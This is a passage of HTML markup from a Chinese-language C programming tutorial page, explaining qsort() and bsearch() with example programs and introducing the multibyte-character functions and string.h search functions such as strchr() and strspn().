class=\"params\"\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e该函数接受四个参数。\u003c/p\u003e\u003cul\u003e\u003cli\u003ebase:指向要排序的数组开始位置的指针。\u003c/li\u003e\u003cli\u003enmemb:数组成员的数量。\u003c/li\u003e\u003cli\u003esize:数组每个成员占用的字节长度。\u003c/li\u003e\u003cli\u003ecompar:一个函数指针,指向一个比较两个成员的函数。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e比较函数\u003ccode\u003ecompar\u003c/code\u003e将指向数组两个成员的指针作为参数,并比较两个成员。如果第一个参数小于第二个参数,该函数应该返回一个负值;如果两个函数相等,返回\u003ccode\u003e0\u003c/code\u003e;如果第一个参数大于第二个参数,应该返回一个正数。\u003c/p\u003e\u003cp\u003e下面是一个用法示例。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdlib.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003ecompar\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e* elem0, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e* elem1)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e* x = elem0;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e* y = elem1; \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e *x - *y;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e a[\u003cspan class=\"number\"\u003e9\u003c/span\u003e] = {\u003cspan class=\"number\"\u003e14\u003c/span\u003e, \u003cspan class=\"number\"\u003e2\u003c/span\u003e, \u003cspan class=\"number\"\u003e3\u003c/span\u003e, \u003cspan class=\"number\"\u003e17\u003c/span\u003e, \u003cspan class=\"number\"\u003e10\u003c/span\u003e, \u003cspan class=\"number\"\u003e8\u003c/span\u003e, \u003cspan class=\"number\"\u003e6\u003c/span\u003e, \u003cspan class=\"number\"\u003e1\u003c/span\u003e, \u003cspan class=\"number\"\u003e13\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e qsort(a, \u003cspan class=\"number\"\u003e9\u003c/span\u003e, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e), compar);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"type\"\u003eint\u003c/span\u003e i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; \u003cspan class=\"number\"\u003e9\u003c/span\u003e; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d \u0026#34;\u003c/span\u003e, a[i]);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eputchar\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#39;\\n\u0026#39;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e执行上面示例,会输出排序好的数组“1 2 3 6 8 10 13 14 17”。\u003c/p\u003e\u003ch3 id=\"bsearch\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#bsearch\" class=\"headerlink\" title=\"bsearch()\"\u003e\u003c/a\u003ebsearch()\u003c/h3\u003e\u003cp\u003e\u003ccode\u003ebsearch()\u003c/code\u003e使用二分法搜索,在数组中搜索一个值。它对数组成员的类型没有要求,任何类型数组都可以用这个函数搜索值。\u003c/p\u003e\u003cp\u003e注意,该方法只对已经排序好的数组有效。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e *\u003cspan class=\"title function_\"\u003ebsearch\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e* key,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e* base,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003esize_t\u003c/span\u003e nmemb,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003esize_t\u003c/span\u003e size,\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e (*compar)(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"params\"\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这个函数接受5个参数。\u003c/p\u003e\u003cul\u003e\u003cli\u003ekey:指向要查找的值的指针。\u003c/li\u003e\u003cli\u003ebase:指向数组开始位置的指针,数组必须已经排序。\u003c/li\u003e\u003cli\u003enmemb:数组成员的数量。\u003c/li\u003e\u003cli\u003esize:数组每个成员占用的字节长度。\u003c/li\u003e\u003cli\u003ecompar:指向一个将待查找值与其他值进行比较的函数的指针。\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e比较函数\u003ccode\u003ecompar\u003c/code\u003e将待查找的值作为第一个参数,将要比较的值作为第二个参数。如果第一个参数小于第二个参数,该函数应该返回一个负值;如果两个参数相等,返回\u003ccode\u003e0\u003c/code\u003e;如果第一个参数大于第二个参数,返回一个正值。\u003c/p\u003e\u003cp\u003e如果找到待查找的值,\u003ccode\u003ebsearch()\u003c/code\u003e返回指向该值的指针,如果找不到,返回 NULL。\u003c/p\u003e\u003cp\u003e下面是一个用法示例。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdlib.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003ecompar\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *key, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003evoid\u003c/span\u003e *value)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e* k = key;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e* v = value;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e *k - *v;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e a[\u003cspan class=\"number\"\u003e9\u003c/span\u003e] = {\u003cspan class=\"number\"\u003e2\u003c/span\u003e, \u003cspan class=\"number\"\u003e6\u003c/span\u003e, \u003cspan class=\"number\"\u003e9\u003c/span\u003e, \u003cspan class=\"number\"\u003e12\u003c/span\u003e, \u003cspan class=\"number\"\u003e13\u003c/span\u003e, \u003cspan class=\"number\"\u003e18\u003c/span\u003e, \u003cspan class=\"number\"\u003e20\u003c/span\u003e, \u003cspan class=\"number\"\u003e32\u003c/span\u003e, \u003cspan class=\"number\"\u003e47\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e* r;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e key;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e key = \u003cspan class=\"number\"\u003e12\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 包括在数组中\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e r = bsearch(\u0026amp;key, a, \u003cspan class=\"number\"\u003e9\u003c/span\u003e, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e), compar);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Found %d\\n\u0026#34;\u003c/span\u003e, *r);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e key = \u003cspan class=\"number\"\u003e30\u003c/span\u003e; \u003cspan class=\"comment\"\u003e// 不包括在数组中\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e r = bsearch(\u0026amp;key, a, \u003cspan class=\"number\"\u003e9\u003c/span\u003e, \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e), compar);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (r == \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Didn\u0026#39;t find 30\\n\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e执行上面的示例,会输出下面的结果。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eFound 12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eDidn\u003cspan class=\"string\"\u003e\u0026#39;t find 30\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"多字节字符函数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%A4%9A%E5%AD%97%E8%8A%82%E5%AD%97%E7%AC%A6%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"多字节字符函数\"\u003e\u003c/a\u003e多字节字符函数\u003c/h3\u003e\u003cp\u003estdlib.h 提供了下面的函数,用来操作多字节字符,详见《多字节字符》一章。\u003c/p\u003e\u003cul\u003e\u003cli\u003emblen():多字节字符的字节长度。\u003c/li\u003e\u003cli\u003embtowc():将多字节字符转换为宽字符。\u003c/li\u003e\u003cli\u003ewctomb():将宽字符转换为多字节字符。\u003c/li\u003e\u003cli\u003embstowcs():将多字节字符串转换为宽字符串。\u003c/li\u003e\u003cli\u003ewcstombs():将宽字符串转换为多字节字符串。\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"string-h\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#string-h\" class=\"headerlink\" title=\"string.h\"\u003e\u003c/a\u003estring.h\u003c/h2\u003e\u003cp\u003e\u003ccode\u003estring.h\u003c/code\u003e主要定义了字符串处理函数和内存操作函数。\u003c/p\u003e\u003ch3 id=\"字符串处理函数\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%AD%97%E7%AC%A6%E4%B8%B2%E5%A4%84%E7%90%86%E5%87%BD%E6%95%B0\" class=\"headerlink\" title=\"字符串处理函数\"\u003e\u003c/a\u003e字符串处理函数\u003c/h3\u003e\u003cp\u003e以下字符串处理函数,详见《字符串》一章。\u003c/p\u003e\u003cul\u003e\u003cli\u003estrcpy():复制字符串。\u003c/li\u003e\u003cli\u003estrncpy():复制字符串,有长度限制。\u003c/li\u003e\u003cli\u003estrcat():连接两个字符串。\u003c/li\u003e\u003cli\u003estrncat():连接两个字符串,有长度限制。\u003c/li\u003e\u003cli\u003estrcmp():比较两个字符串。\u003c/li\u003e\u003cli\u003estrncmp():比较两个字符串,有长度限制。\u003c/li\u003e\u003cli\u003estrlen():返回字符串的字节数。\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"strchr-,strrchr\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#strchr-%EF%BC%8Cstrrchr\" class=\"headerlink\" title=\"strchr(),strrchr()\"\u003e\u003c/a\u003estrchr(),strrchr()\u003c/h4\u003e\u003cp\u003e\u003ccode\u003estrchr()\u003c/code\u003e和\u003ccode\u003estrrchr()\u003c/code\u003e都用于在字符串中查找指定字符。不同之处是,\u003ccode\u003estrchr()\u003c/code\u003e从字符串开头开始查找,\u003ccode\u003estrrchr()\u003c/code\u003e从字符串结尾开始查找,函数名里面多出来的那个\u003ccode\u003er\u003c/code\u003e表示 reverse(反向)。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* \u003cspan class=\"title function_\"\u003estrchr\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003echar\u003c/span\u003e* str, \u003cspan class=\"type\"\u003eint\u003c/span\u003e c)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e* \u003cspan class=\"title function_\"\u003estrrchr\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003echar\u003c/span\u003e *str, \u003cspan class=\"type\"\u003eint\u003c/span\u003e c)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它们都接受两个参数,第一个参数是字符串指针,第二个参数是所要查找的字符。\u003c/p\u003e\u003cp\u003e一旦找到该字符,它们就会停止查找,并返回指向该字符的指针。如果没有找到,则返回 NULL。\u003c/p\u003e\u003cp\u003e下面是一个例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e *str = \u003cspan class=\"string\"\u003e\u0026#34;Hello, world!\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003echar\u003c/span\u003e *p;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ep = \u003cspan class=\"built_in\"\u003estrchr\u003c/span\u003e(str, \u003cspan class=\"string\"\u003e\u0026#39;,\u0026#39;\u003c/span\u003e); \u003cspan class=\"comment\"\u003e// p 指向逗号的位置\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ep = \u003cspan class=\"built_in\"\u003estrrchr\u003c/span\u003e(str, \u003cspan class=\"string\"\u003e\u0026#39;o\u0026#39;\u003c/span\u003e); \u003cspan class=\"comment\"\u003e// p 指向 world 里面 o 的位置\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch4 id=\"strspn-,strcspn\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#strspn-%EF%BC%8Cstrcspn\" class=\"headerlink\" title=\"strspn(),strcspn()\"\u003e\u003c/a\u003estrspn(),strcspn()\u003c/h4\u003e\u003cp\u003e\u003ccode\u003estrspn()\u003c/code\u003e用来查找属于指定字符集的字符串长度,\u003ccode\u003estrcspn()\u003c/code\u003e正好相反,用来查找不属于指定字符集的字符串长度。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003esize_t\u003c/span\u003e \u003cspan class=\"title function_\"\u003estrspn\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003echar\u003c/span\u003e* str, \u003cspan class=\"type\"\u003econst\u003c/span\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e* 